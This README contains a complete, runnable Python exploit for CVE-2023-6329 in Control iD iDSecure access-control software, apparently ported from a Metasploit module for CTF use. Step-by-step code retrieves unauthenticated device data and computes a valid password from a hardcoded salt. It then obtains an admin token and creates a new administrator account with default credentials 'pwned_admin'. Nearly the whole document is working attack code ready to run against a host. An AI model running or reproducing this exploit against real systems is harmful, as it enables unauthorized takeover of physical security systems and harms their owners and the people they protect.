README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2023-6329 - Control iD iDSecure Authentication Bypass
Converts the Metasploit module to a standalone Python script for CTF use.
Vulnerability: Improper access control in iDSecure <= v4.7.43.0
Impact: Unauthenticated attacker can compute valid credentials and add an admin user.
"""
import hashlib
import json
import argparse
import sys
import requests
import urllib3
# Suppress SSL warnings (self-signed certs are common on these devices)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_version(base_url: str) -> str | None:
"""
Step 0: Probe the target to confirm it's vulnerable.
The /api/util/configUI endpoint returns 401 with version info even unauthed.
"""
try:
res = requests.get(f"{base_url}/api/util/configUI", verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print("[-] Could not connect to target.")
return None
if res.status_code != 401:
print(f"[-] Unexpected status code {res.status_code}, expected 401.")
return None
data = res.json()
version = data.get("Version")
if not version:
print("[-] Could not retrieve version from response.")
return None
print(f"[*] Target version: {version}")
# Simple version comparison - vulnerable if <= 4.7.43.0
def parse_ver(v):
return tuple(int(x) for x in v.split("."))
if parse_ver(version) <= parse_ver("4.7.43.0"):
print("[+] Target appears VULNERABLE.")
else:
print("[-] Target appears patched. Proceeding anyway...")
return version
def get_unlock_data(base_url: str) -> tuple[str, str]:
"""
Step 1: Hit the unlockGetData endpoint to retrieve two key values:
- 'serial': the device's serial number (used as a seed)
- 'passwordRandom': a one-time random value tied to this login attempt
These are returned unauthenticated, which is the root of the vulnerability.
"""
res = requests.get(f"{base_url}/api/login/unlockGetData", verify=False, timeout=10)
res.raise_for_status()
data = res.json()
password_random = data["passwordRandom"]
serial = data["serial"]
print(f"[+] passwordRandom : {password_random}")
print(f"[+] serial : {serial}")
return serial, password_random
def compute_password_custom(serial: str, password_random: str) -> str:
"""
Step 2: Derive the 'passwordCustom' value that the server will accept.
The algorithm is:
1. SHA1(serial) -> sha1_hash (hex string)
2. sha1_hash + passwordRandom + 'cid2016' -> combined (hardcoded salt!)
3. SHA256(combined) -> sha256_hash (hex string)
4. Take first 6 hex chars, convert to decimal -> passwordCustom
The hardcoded salt 'cid2016' is what makes this exploitable —
any attacker can reproduce this calculation with publicly known inputs.
"""
sha1_hash = hashlib.sha1(serial.encode()).hexdigest()
combined = sha1_hash + password_random + "cid2016" # <-- hardcoded salt
sha256_hash = hashlib.sha256(combined.encode()).hexdigest()
short_hash = sha256_hash[:6] # first 6 hex chars
password_custom = str(int(short_hash, 16)) # hex -> decimal string
print(f"[*] Computed passwordCustom: {password_custom}")
return password_custom
def login_with_computed_creds(base_url: str, password_custom: str, password_random: str) -> str:
"""
Step 3: Use the computed passwordCustom + passwordRandom to authenticate.
On success the server returns a JWT (accessToken) granting admin access.
"""
payload = {
"passwordCustom": password_custom,
"passwordRandom": password_random
}
res = requests.post(
f"{base_url}/api/login/",
json=payload,
verify=False,
timeout=10
)
res.raise_for_status()
data = res.json()
access_token = data.get("accessToken")
if not access_token:
print("[-] No accessToken in response. Auth may have failed.")
sys.exit(1)
print(f"[+] JWT: {access_token[:60]}...")
return access_token
def add_admin_user(base_url: str, token: str, username: str, password: str) -> None:
"""
Step 4: Use the JWT to create a new operator (admin) account.
idType '1' corresponds to an administrative role.
"""
payload = {
"idType": "1",
"name": username,
"user": username,
"newPassword": password,
"password_confirmation": password
}
res = requests.post(
f"{base_url}/api/operator/",
json=payload,
headers={"Authorization": f"Bearer {token}"},
verify=False,
timeout=10
)
res.raise_for_status()
data = res.json()
if data.get("code") == 200 and data.get("error") == "OK":
print(f"[+] User '{username}' created successfully.")
else:
print(f"[-] Unexpected response when creating user: {data}")
sys.exit(1)
def verify_login(base_url: str, username: str, password: str) -> None:
"""
Step 5: Confirm the new account actually works by logging in with it.
"""
payload = {
"username": username,
"password": password,
"passwordCustom": None
}
res = requests.post(
f"{base_url}/api/login/",
json=payload,
verify=False,
timeout=10
)
res.raise_for_status()
data = res.json()
if "accessToken" in data:
print(f"[+] Verified! New credentials work.")
print(f"[+] Login at: {base_url}/#/login")
print(f" Username : {username}")
print(f" Password : {password}")
else:
print("[-] Could not verify new credentials.")
def main():
parser = argparse.ArgumentParser(
description="CVE-2023-6329 - Control iD iDSecure Auth Bypass"
)
parser.add_argument("--host", required=True, help="Target IP or hostname")
parser.add_argument("--port", default=30443, type=int, help="Target port (default: 30443)")
parser.add_argument("--no-ssl", action="store_true", help="Disable SSL/HTTPS")
parser.add_argument("--username", default="pwned_admin", help="New admin username to create")
parser.add_argument("--password", default="Pwned1234!", help="Password for the new account")
args = parser.parse_args()
scheme = "http" if args.no_ssl else "https"
base_url = f"{scheme}://{args.host}:{args.port}"
print(f"[*] Target: {base_url}")
print("=" * 60)
check_version(base_url)
serial, password_random = get_unlock_data(base_url)
password_custom = compute_password_custom(serial, password_random)
token = login_with_computed_creds(base_url, password_custom, password_random)
add_admin_user(base_url, token, args.username, args.password)
verify_login(base_url, args.username, args.password)
if __name__ == "__main__":
main()